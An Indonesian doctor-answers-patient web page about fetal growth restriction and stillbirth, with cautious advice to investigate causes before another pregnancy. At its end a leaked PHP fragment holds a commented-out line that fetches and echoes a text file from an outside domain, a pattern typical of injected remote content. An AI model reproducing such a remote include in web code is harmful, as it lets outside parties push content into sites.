Tanya – Jawab: Deteksi Dini Gangguan Perkembangan Janin

 

T: Pada saat hamil 24 minggu dokter baru memberitahu saya bahwa janin saya mengalami ganguan perkembangan. Setelah saya kontrol 2 minggu kemudian dan dilakukan USG, dokter menyatakan bahwa janin saya sudah tidak bernapas lagi, dan sepertinya sudah tidak ada sekitar 1 minggu. Yang ingin saya tanyakan apakah penyebab gangguan pertumbuhan pada janin dan apakah itu bisa diketahui dari awal kehamilan? Kemudian jika saya ingin punya anak lagi apakah saya perlu melakukan papsmear sebelumnya dan apabila saya hamil lagi apakah ada kmungkinan akan terjadi lagi gangguan pada janin saya?

J: Saya turut prihatin atas apa yang terjadi pada ibu. Dari data yang ibu berikan, saya asumsikan ibu mengalami kematian janin yang diawali oleh pertumbuhan janin yang terhambat. Adapun penyebabnya bermacam kemungkinan mulai dari infeksi virus, torch, kelainan metabolik maupun ketidaksesuaian golongan darah.

Hal ini sebaiknya diperiksa dan diketahui sebelum ibu hamil kembali. Bila sudah terjadi kehamilan maka kita hanya dapat mengikuti perkembangan dan melihat kelainan yang timbul tanpa dapat mencegahnya. Jika penyebabnya berhasil diketahui dan ditanggulangi, maka akan dapat mengurangi risiko terjadi kembali pada kehamilan berikutnya.

Mengenai papsmear, ini merupakan hal rutin yang seharusnya dilakukan pada wanita yang sudah seksual aktif. Namun ini tidak ada hubungannya dengan kejadian yang ibu alami. Untuk lebih jelasnya saya anjurkan ibu untuk kontrol dan berdiskusi langsung dengan dokter spesialis kandungan.

dr. Ichnandy Arief Rachman, SpOG
RSIA Budhijaya

 



Artikel Rekomendasi

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>